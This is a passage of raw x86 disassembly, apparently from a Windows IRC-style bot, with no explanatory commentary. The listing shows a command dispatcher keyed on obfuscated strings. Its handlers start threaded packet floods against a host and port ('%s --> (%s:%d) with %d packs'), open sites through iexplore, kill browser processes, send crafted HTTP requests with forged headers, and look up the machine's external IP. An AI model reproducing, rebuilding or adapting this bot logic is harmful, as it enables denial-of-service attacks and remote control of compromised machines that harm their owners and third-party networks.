eax jz loc_412691 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_4125B1 loc_4125A7: ; CODE XREF: sub_40A9FE+7A15j mov ebx, offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." jmp loc_40B964 ; --------------------------------------------------------------------------- loc_4125B1: ; CODE XREF: sub_40A9FE+7BA7j mov edi, [ebp+arg_18] lea eax, [ebp+var_18E4] test edi, edi jnz short loc_4125C3 push dword ptr [esi+0Ch] jmp short loc_4125C5 ; --------------------------------------------------------------------------- loc_4125C3: ; CODE XREF: sub_40A9FE+7BBEj push dword ptr [esi] loc_4125C5: ; CODE XREF: sub_40A9FE+7BC3j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1968], eax push dword ptr [ebx+4] lea eax, [ebp+var_1964] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1860], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_185C], eax mov eax, [ebp+arg_14] mov [ebp+var_1858], edi mov [ebp+var_1854], eax push dword ptr [ebx+0Ch] call sub_42A100 add esp, 18h push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." push offset aSSDWithDPacks ; "%s --> (%s:%d) with %d packs" push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1864], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_1968] push edi push eax push offset sub_428A78 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1864] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_4124F5 jmp short loc_412683 ; --------------------------------------------------------------------------- loc_41267B: ; CODE XREF: sub_40A9FE+7C8Cj push 32h call dword_437190 ; Sleep loc_412683: ; CODE XREF: sub_40A9FE+7C7Bj cmp [ebp+var_1850], 0 jz short loc_41267B jmp loc_414995 ; --------------------------------------------------------------------------- loc_412691: ; CODE XREF: sub_40A9FE+79E6j ; sub_40A9FE+79EFj ... cmp [ebp+arg_14], 0 mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_4126BC cmp [ebp+arg_18], 0 jnz short loc_4126C6 push ebx push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_4126BC: ; CODE XREF: sub_40A9FE+7CA1j cmp [ebp+arg_18], 0 jz loc_414995 loc_4126C6: ; CODE XREF: sub_40A9FE+7CA7j push ebx push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." jmp loc_40C891 ; --------------------------------------------------------------------------- loc_4126D1: ; CODE XREF: sub_40A9FE+7B78j push dword ptr [ebx] push offset a2yclo0srxpi ; "2YClO0SRxpi/" call edi ; dword_437178 test eax, eax jnz short loc_4126E8 loc_4126DE: ; CODE XREF: sub_40A9FE+7B67j push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_4126E8: ; CODE XREF: sub_40A9FE+7CDEj push dword ptr [ebx] push offset aH3yh9_xq_s2_ ; "h3YH9.Xq.S2." call edi ; dword_437178 test eax, eax jnz loc_412897 cmp [ebx+4], eax jz loc_412857 cmp [ebx+8], eax jz loc_412857 cmp [ebx+0Ch], eax jz loc_412857 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_41272E mov ebx, offset aSsoce0jbtxi ; "sSOce0JbTXI/" jmp loc_40B964 ; --------------------------------------------------------------------------- loc_41272E: ; CODE XREF: sub_40A9FE+7D24j mov edi, [ebp+arg_18] lea eax, [ebp+var_17C8] test edi, edi jnz short loc_412740 push dword ptr [esi+0Ch] jmp short loc_412742 ; --------------------------------------------------------------------------- loc_412740: ; CODE XREF: sub_40A9FE+7D3Bj push dword ptr [esi] loc_412742: ; CODE XREF: sub_40A9FE+7D40j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_184C], eax push dword ptr [ebx+4] lea eax, [ebp+var_1848] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1748], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_1744], eax mov eax, [ebp+arg_14] mov [ebp+var_1738], edi mov [ebp+var_1734], eax push dword ptr [ebx+0Ch] call sub_42A100 add esp, 18h push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aSsoce0jbtxi ; "sSOce0JbTXI/" push offset aSSDWithDPacks ; "%s --> (%s:%d) with %d packs" push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_173C], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_184C] push edi push eax push offset sub_42757B push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_173C] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_412849 cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_412825 cmp [ebp+arg_18], 0 jnz short loc_41282F call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aSsoce0jbtxi ; "sSOce0JbTXI/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412825: ; CODE XREF: sub_40A9FE+7E03j cmp [ebp+arg_18], 0 jz loc_414995 loc_41282F: ; CODE XREF: sub_40A9FE+7E09j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aSsoce0jbtxi ; "sSOce0JbTXI/" jmp loc_41491C ; --------------------------------------------------------------------------- loc_412841: ; CODE XREF: sub_40A9FE+7E52j push 32h call dword_437190 ; Sleep loc_412849: ; CODE XREF: sub_40A9FE+7DF2j cmp [ebp+var_1730], 0 jz short loc_412841 jmp loc_414995 ; --------------------------------------------------------------------------- loc_412857: ; CODE XREF: sub_40A9FE+7CFEj ; sub_40A9FE+7D07j ... cmp [ebp+arg_14], 0 mov edi, offset aSS_1 ; "%s %s" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz short loc_412882 cmp [ebp+arg_18], 0 jnz short loc_41288C push ebx push offset aSsoce0jbtxi ; "sSOce0JbTXI/" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_412882: ; CODE XREF: sub_40A9FE+7E67j cmp [ebp+arg_18], 0 jz loc_414995 loc_41288C: ; CODE XREF: sub_40A9FE+7E6Dj push ebx push offset aSsoce0jbtxi ; "sSOce0JbTXI/" jmp loc_40C891 ; --------------------------------------------------------------------------- loc_412897: ; CODE XREF: sub_40A9FE+7CF5j push dword ptr [ebx] push offset aIwbkf0o1om6Qrn ; "IwBKf0O1Om6/QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_4128B0 push offset aSsoce0jbtxi ; "sSOce0JbTXI/" loc_4128A9: ; CODE XREF: sub_40A9FE+6BB2j ; sub_40A9FE+6C0Dj ... push 0Dh jmp loc_412B29 ; --------------------------------------------------------------------------- loc_4128B0: ; CODE XREF: sub_40A9FE+7EA4j push dword ptr [ebx] push offset aEm42x_1iszi1 ; "Em42x.1IsZI1" call edi ; dword_437178 test eax, eax jnz loc_412B15 xor edi, edi cmp [ebx+4], edi jz loc_412FC9 cmp [ebx+8], edi jz loc_412FC9 cmp [ebx+0Ch], edi jz loc_412FC9 cmp [ebx+10h], edi jz loc_412FC9 cmp [ebx+14h], edi jz loc_412FC9 push 0Eh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_412946 loc_412900: ; CODE XREF: sub_40A9FE+817Fj cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_41292E cmp [ebp+arg_18], 0 jnz short loc_412938 push [ebp+arg_C] push ebx push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_41292E: ; CODE XREF: sub_40A9FE+7F10j cmp [ebp+arg_18], 0 jz loc_414995 loc_412938: ; CODE XREF: sub_40A9FE+7F16j push [ebp+arg_C] push ebx loc_41293C: ; CODE XREF: sub_40A9FE+80FCj push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" jmp loc_41491C ; --------------------------------------------------------------------------- loc_412946: ; CODE XREF: sub_40A9FE+7F00j mov eax, [ebp+arg_14] mov [ebp+var_63DC], eax mov eax, [ebp+arg_18] mov [ebp+var_63E0], eax cmp eax, edi lea eax, [ebp+var_6478] jnz short loc_412967 push dword ptr [esi+0Ch] jmp short loc_412969 ; --------------------------------------------------------------------------- loc_412967: ; CODE XREF: sub_40A9FE+7F62j push dword ptr [esi] loc_412969: ; CODE XREF: sub_40A9FE+7F67j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] mov edi, 3FFh push edi mov [ebp+var_6C7C], eax push dword ptr [ebx+4] lea eax, [ebp+var_6C78] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_63F4], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_63F0], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_63E8], eax jge short loc_4129CA mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" jmp loc_413D77 ; --------------------------------------------------------------------------- loc_4129CA: ; CODE XREF: sub_40A9FE+7FC0j push edi lea eax, [ebp+var_6878] push dword ptr [ebx+14h] push eax call sub_429D10 xor eax, eax add esp, 0Ch cmp [ebp+arg_60], eax mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" setnz al cmp [ebp+arg_14], 0 mov [ebp+var_63E4], eax jnz short loc_412A27 cmp [ebp+arg_18], 0 jnz short loc_412A2D push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_412A27: ; CODE XREF: sub_40A9FE+7FF6j cmp [ebp+arg_18], 0 jz short loc_412A57 loc_412A2D: ; CODE XREF: sub_40A9FE+7FFCj push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets." push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_412A57: ; CODE XREF: sub_40A9FE+802Dj push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSDDPackets_ ; "%s --> (%s:%d) %d packets." push 0Eh call sub_4234A7 add esp, 18h mov [ebp+var_63F8], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_6C7C] push edi push eax push offset loc_41A08B push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_63F8] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_412B07 loc_412AB5: ; CODE XREF: sub_40A9FE+8271j cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_412AE8 cmp [ebp+arg_18], 0 jnz short loc_412AF2 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412AE8: ; CODE XREF: sub_40A9FE+80C6j cmp [ebp+arg_18], 0 jz loc_414995 loc_412AF2: ; CODE XREF: sub_40A9FE+80CCj call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_41293C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_40A9FE+8110j push 32h call dword_437190 ; Sleep loc_412B07: ; CODE XREF: sub_40A9FE+80B5j cmp [ebp+var_63D8], 0 jz short loc_412AFF jmp loc_414995 ; --------------------------------------------------------------------------- loc_412B15: ; CODE XREF: sub_40A9FE+7EBDj push dword ptr [ebx] push offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_412B3E push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push 0Eh loc_412B29: ; CODE XREF: sub_40A9FE+1096j ; sub_40A9FE+189Dj ... xor eax, eax cmp [ebp+arg_18], eax push eax push [ebp+arg_20] jnz loc_40BA99 push eax jmp loc_412CA9 ; --------------------------------------------------------------------------- loc_412B3E: ; CODE XREF: sub_40A9FE+8122j push dword ptr [ebx] push offset aKmdie1uwntq ; "KmdIe1UwntQ/" call edi ; dword_437178 test eax, eax jnz loc_412C8D cmp [ebx+4], eax jnz short loc_412B6F cmp [ebp+arg_14], eax mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" mov ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95." jnz loc_40BF3A cmp [ebp+arg_18], eax jmp loc_40BF1F ; --------------------------------------------------------------------------- loc_412B6F: ; CODE XREF: sub_40A9FE+8154j push 0Eh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jg loc_412900 mov eax, [ebp+arg_14] mov [ebp+var_2644], eax mov eax, [ebp+arg_18] mov [ebp+var_2640], eax test eax, eax lea eax, [ebp+var_26C8] jnz short loc_412BA4 push dword ptr [esi+0Ch] jmp short loc_412BA6 ; --------------------------------------------------------------------------- loc_412BA4: ; CODE XREF: sub_40A9FE+819Fj push dword ptr [esi] loc_412BA6: ; CODE XREF: sub_40A9FE+81A4j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_27CC], eax push dword ptr [ebx+4] lea eax, [ebp+var_27C8] push eax call sub_429D10 mov eax, [ebx+8] add esp, 0Ch test eax, eax jz short loc_412BE3 push 7Fh push eax lea eax, [ebp+var_2748] push eax call sub_429D10 add esp, 0Ch loc_412BE3: ; CODE XREF: sub_40A9FE+81D1j cmp [ebp+arg_14], 0 mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" jnz short loc_412C0B cmp [ebp+arg_18], 0 jnz short loc_412C11 push dword ptr [ebx+4] push edi push offset aSS__0 ; "%s --> (%s)." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_412C0B: ; CODE XREF: sub_40A9FE+81EEj cmp [ebp+arg_18], 0 jz short loc_412C27 loc_412C11: ; CODE XREF: sub_40A9FE+81F4j push dword ptr [ebx+4] push edi push offset aSS__0 ; "%s --> (%s)." push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 14h loc_412C27: ; CODE XREF: sub_40A9FE+8211j push dword ptr [ebx+4] push edi push offset aSS__0 ; "%s --> (%s)." push 0Eh call sub_4234A7 add esp, 10h mov [ebp+var_2648], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_27CC] push edi push eax push offset sub_428248 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_2648] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_412AB5 jmp short loc_412C7F ; --------------------------------------------------------------------------- loc_412C77: ; CODE XREF: sub_40A9FE+8288j push 32h call dword_437190 ; Sleep loc_412C7F: ; CODE XREF: sub_40A9FE+8277j cmp [ebp+var_263C], 0 jz short loc_412C77 jmp loc_414995 ; --------------------------------------------------------------------------- loc_412C8D: ; CODE XREF: sub_40A9FE+814Bj push dword ptr [ebx] push offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_412CBF push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push 0Eh loc_412CA1: ; CODE XREF: sub_40A9FE+1D04j push 0 push [ebp+arg_20] push [ebp+arg_18] loc_412CA9: ; CODE XREF: sub_40A9FE+813Bj push [ebp+arg_14] push [ebp+arg_10] push dword ptr [esi+0Ch] loc_412CB2: ; CODE XREF: sub_40A9FE+83j ; sub_40A9FE+10A6j call sub_423654 loc_412CB7: ; CODE XREF: sub_40A9FE+4CAj ; sub_40A9FE+2305j add esp, 20h jmp loc_414995 ; --------------------------------------------------------------------------- loc_412CBF: ; CODE XREF: sub_40A9FE+829Aj push dword ptr [ebx] push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d." call edi ; dword_437178 test eax, eax jnz loc_412D6A mov ebx, [ebx+4] test ebx, ebx jz loc_412FC9 xor edi, edi push edi push edi push ebx push offset aIexplore ; "iexplore" push offset aOpen ; "open" push edi call dword_43725C test eax, eax mov ebx, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" jz short loc_412D38 cmp [ebp+arg_14], 0 mov edi, offset aSSiteOpened_ ; "%s Site opened." jnz short loc_412D1B cmp [ebp+arg_18], 0 jnz short loc_412D25 push ebx push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_412D1B: ; CODE XREF: sub_40A9FE+8305j cmp [ebp+arg_18], 0 jz loc_412FED loc_412D25: ; CODE XREF: sub_40A9FE+830Bj push ebx push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 10h xor edi, edi jmp short loc_412D56 ; --------------------------------------------------------------------------- loc_412D38: ; CODE XREF: sub_40A9FE+82FAj cmp [ebp+arg_14], edi jnz short loc_412D56 cmp [ebp+arg_18], edi jnz short loc_412D5F push ebx push offset aSSiteFailedToO ; "%s Site failed to open." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_412D56: ; CODE XREF: sub_40A9FE+8338j ; sub_40A9FE+833Dj cmp [ebp+arg_18], edi jz loc_412FED loc_412D5F: ; CODE XREF: sub_40A9FE+8342j push ebx push offset aSSiteFailedToO ; "%s Site failed to open." jmp loc_40BA60 ; --------------------------------------------------------------------------- loc_412D6A: ; CODE XREF: sub_40A9FE+82CCj push dword ptr [ebx] push offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1" call edi ; dword_437178 test eax, eax jnz short loc_412DBD push eax push offset aIexplore_exe ; "iexplore.exe" call sub_41FE3F cmp [ebp+arg_14], 0 pop ecx pop ecx mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" mov ebx, offset aSS_1 ; "%s %s" jnz short loc_412DA9 push offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0" push edi push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 14h loc_412DA9: ; CODE XREF: sub_40A9FE+8394j cmp [ebp+arg_18], 0 jz loc_414995 push offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0" jmp loc_40B0FA ; --------------------------------------------------------------------------- loc_412DBD: ; CODE XREF: sub_40A9FE+8377j push dword ptr [ebx] push offset aVxg7n_qbmg90aa ; "vXG7N.qBMG90aA/Td0EX07M1" call edi ; dword_437178 test eax, eax jnz loc_412FD3 cmp [ebx+4], eax jz loc_412FC9 cmp [ebx+8], eax jz loc_412FC9 cmp [ebx+0Ch], eax jz loc_412FC9 cmp [ebx+10h], eax jz loc_412FC9 lea eax, [ebp+var_7310] push eax push 101h call dword_4372B8 ; WSAStartup push dword ptr [ebx+4] call dword_4372A4 ; gethostbyname mov edi, eax test edi, edi jnz short loc_412E5A cmp [ebp+arg_14], eax mov edi, offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." mov ebx, offset aSSD ; "%s %s <%d>" jnz short loc_412E3E call dword_437170 ; RtlGetLastWin32Error push eax push edi push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412E3E: ; CODE XREF: sub_40A9FE+8422j cmp [ebp+arg_18], 0 jz loc_414995 call dword_437170 ; RtlGetLastWin32Error push eax push edi push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" jmp loc_40B6FE ; --------------------------------------------------------------------------- loc_412E5A: ; CODE XREF: sub_40A9FE+8413j push 6 push 1 push 2 call dword_4372BC ; socket mov [ebp+arg_C], eax mov [ebp+var_2F4], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2F0], eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax call dword_4372C4 ; ntohs mov [ebp+var_2F2], ax lea eax, [ebp+var_2F4] push 10h push eax push [ebp+arg_C] call dword_4372CC ; connect cmp eax, 0FFFFFFFFh jz short loc_412F13 push dword ptr [ebx+4] lea eax, [ebp+var_31AC] push dword ptr [ebx+14h] push dword ptr [ebx+10h] push dword ptr [ebx+0Ch] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\r\nReferer: %s\r\nUser-Agent"... push 100h push eax call sub_429BBE add esp, 1Ch xor ebx, ebx lea eax, [ebp+var_31AC] push ebx push eax call sub_4293A0 pop ecx push eax lea eax, [ebp+var_31AC] push eax push [ebp+arg_C] call dword_4372D0 ; send cmp eax, 0FFFFFFFFh jz short loc_412F13 push ebx lea eax, [ebp+var_2DA4] push 80h push eax push [ebp+arg_C] call dword_4372D4 ; recv cmp eax, 0FFFFFFFFh jnz short loc_412F6E loc_412F13: ; CODE XREF: sub_40A9FE+84ADj ; sub_40A9FE+84F8j cmp [ebp+arg_14], 0 mov edi, offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." mov ebx, offset aSSD ; "%s %s <%d>" jnz short loc_412F3F call dword_437170 ; RtlGetLastWin32Error push eax push edi push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push ebx push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412F3F: ; CODE XREF: sub_40A9FE+8523j cmp [ebp+arg_18], 0 jz short loc_412F60 call dword_437170 ; RtlGetLastWin32Error push eax push edi loc_412F4D: ; DATA XREF: .text:off_44762Co push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" push ebx push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 18h loc_412F60: ; CODE XREF: sub_40A9FE+8545j push [ebp+arg_C] call dword_4372D8 ; closesocket jmp loc_414995 ; --------------------------------------------------------------------------- loc_412F6E: ; CODE XREF: sub_40A9FE+8513j push [ebp+arg_C] call dword_4372D8 ; closesocket lea eax, [ebp+var_2DA4] push offset asc_440D90 ; "\n" push eax call sub_429C5E push eax lea eax, [ebp+var_61860] push eax call sub_429B03 add esp, 10h cmp [ebp+arg_14], ebx mov edi, offset aS_5 ; "%s" jnz short loc_412FB8 lea eax, [ebp+var_61860] push eax push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h loc_412FB8: ; CODE XREF: sub_40A9FE+85A2j cmp [ebp+arg_18], ebx jz short loc_412FED lea eax, [ebp+var_61860] push eax jmp loc_40BA5F ; --------------------------------------------------------------------------- loc_412FC9: ; CODE XREF: sub_40A9FE+7EC8j ; sub_40A9FE+7ED1j ... mov edi, offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_412FD3: ; CODE XREF: sub_40A9FE+83CAj push dword ptr [ebx] push offset aQ5l5f_2to_60 ; "q5l5f.2TO.60" call edi ; dword_437178 test eax, eax jz short loc_412FF4 push dword ptr [ebx] push offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1" call edi ; dword_437178 test eax, eax jz short loc_412FF4 loc_412FED: ; CODE XREF: sub_40A9FE+101Dj ; sub_40A9FE+105Aj ... xor eax, eax jmp loc_414998 ; --------------------------------------------------------------------------- loc_412FF4: ; CODE XREF: sub_40A9FE+85E0j ; sub_40A9FE+85EDj xor eax, eax cmp [ebx+4], eax jz loc_413C78 cmp [ebx+8], eax jz loc_413C78 push dword ptr [ebx] and [ebp+arg_C], eax and [ebp+arg_68], eax mov [ebp+arg_8], 3 push offset aQ5l5f_2to_60 ; "q5l5f.2TO.60" call edi ; dword_437178 test eax, eax jnz short loc_413029 mov [ebp+arg_C], 1 loc_413029: ; CODE XREF: sub_40A9FE+8622j push dword ptr [ebx] push offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1" call edi ; dword_437178 test eax, eax jnz short loc_41303D mov [ebp+arg_68], 1 loc_41303D: ; CODE XREF: sub_40A9FE+8636j push dword ptr [ebx+4] push offset aW3gp6_13acy1_0 ; "W3GP6.13AcY1" call edi ; dword_437178 test eax, eax jnz loc_413126 cmp [ebp+arg_C], eax jz short loc_4130BA push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_413091 push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_413091 mov ecx, [ebp+arg_10] call sub_41DB58 push eax push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jz short loc_4130BA jmp loc_414995 ; --------------------------------------------------------------------------- loc_413091: ; CODE XREF: sub_40A9FE+8667j ; sub_40A9FE+867Aj mov ecx, [ebp+arg_10] call sub_41DB58 push eax call sub_42AF20 pop ecx push eax push dword ptr [ebx+8] call sub_42AF20 pop ecx push eax call sub_427B4E pop ecx test eax, eax pop ecx jz loc_414995 loc_4130BA: ; CODE XREF: sub_40A9FE+8654j ; sub_40A9FE+868Cj cmp [ebp+arg_68], 0 jz short loc_413126 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4130FD push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4130FD mov ecx, [ebp+arg_10] call sub_41DB58 push eax push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jnz short loc_413126 jmp loc_414995 ; --------------------------------------------------------------------------- loc_4130FD: ; CODE XREF: sub_40A9FE+86D3j ; sub_40A9FE+86E6j mov ecx, [ebp+arg_10] call sub_41DB58 push eax call sub_42AF20 pop ecx push eax push dword ptr [ebx+8] call sub_42AF20 pop ecx push eax call sub_427B4E pop ecx test eax, eax pop ecx jnz loc_414995 loc_413126: ; CODE XREF: sub_40A9FE+864Bj ; sub_40A9FE+86C0j ... push dword ptr [ebx+4] push offset aM08se_kt9td1 ; "M08SE.Kt9tD1" call edi ; dword_437178 test eax, eax jnz loc_413200 cmp [ebp+arg_C], eax jz short loc_4131A3 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41317A push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_41317A mov ecx, [ebp+arg_10] call sub_41DB5C push eax push dword ptr [ebx+8] call edi ; dword_437178 test eax, eax jz short loc_4131A3 jmp loc_414995 ; --------------------------------------------------------------------------- loc_41317A: ; CODE XREF: sub_40A9FE+8750j ; sub_40A9FE+8763j mov ecx, [ebp+arg_10] call sub_41DB5C push eax call sub_42AF20 pop ecx push eax push dword ptr [ebx+8] call sub_42AF20 pop ecx push eax call sub_427B4E pop ecx test eax, eax pop ecx jz loc_414995 loc_4131A3: ; CODE XREF: sub_40A9FE+873Dj ; sub_40A9FE+8775j cmp [ebp+arg_68], 0 jz loc_413A99 push offset dword_43D664 push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4131E1 push offset a? ; "?" push dword ptr [ebx+8] call sub_42AEA0 pop ecx test eax, eax pop ecx jnz short loc_4131E1 mov ecx, [ebp+arg_10] call sub_41DB5C push eax jmp loc_413A42 ; --------------------------------------------------------------------------- loc_4131E1: ; CODE XREF: sub_40A9FE+87C0j ; sub_40A9FE+87D3j mov ecx, [ebp+arg_10] call sub_41DB5C push eax loc_4131EA: ; CODE XREF: sub_40A9FE+8945j call sub_42AF20 pop ecx push eax push dword ptr [ebx+8] call sub_42AF20 pop ecx push eax jmp loc_413A58 ; --------------------------------------------------------------------------- loc_413200: ; CODE XREF: sub_40A9FE+8734j push dword ptr [ebx+4] push offset a3eowx2ocng ; "3eowX/2OCnG/" call edi ; dword_437178 test eax, eax jnz loc_413348 push offset byte_454A54 push offset dword_457C40 call edi ; dword_437178 test eax, eax jz short loc_413231 push offset dword_457C40 call sub_41E4C1 test eax, eax pop ecx jz short loc_4132A0 loc_413231: ; CODE XREF: sub_40A9FE+8822j xor eax, eax cmp [ebp+arg_14], eax jnz short loc_41325A cmp [ebp+arg_18], eax jnz short loc_413260 cmp [ebp+arg_20], eax jz short loc_413277 push offset aPtami1_agv ; "PTaMI1/.aGV/" push offset aSTryingToGetEx ; "%s Trying to get external IP." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 10h 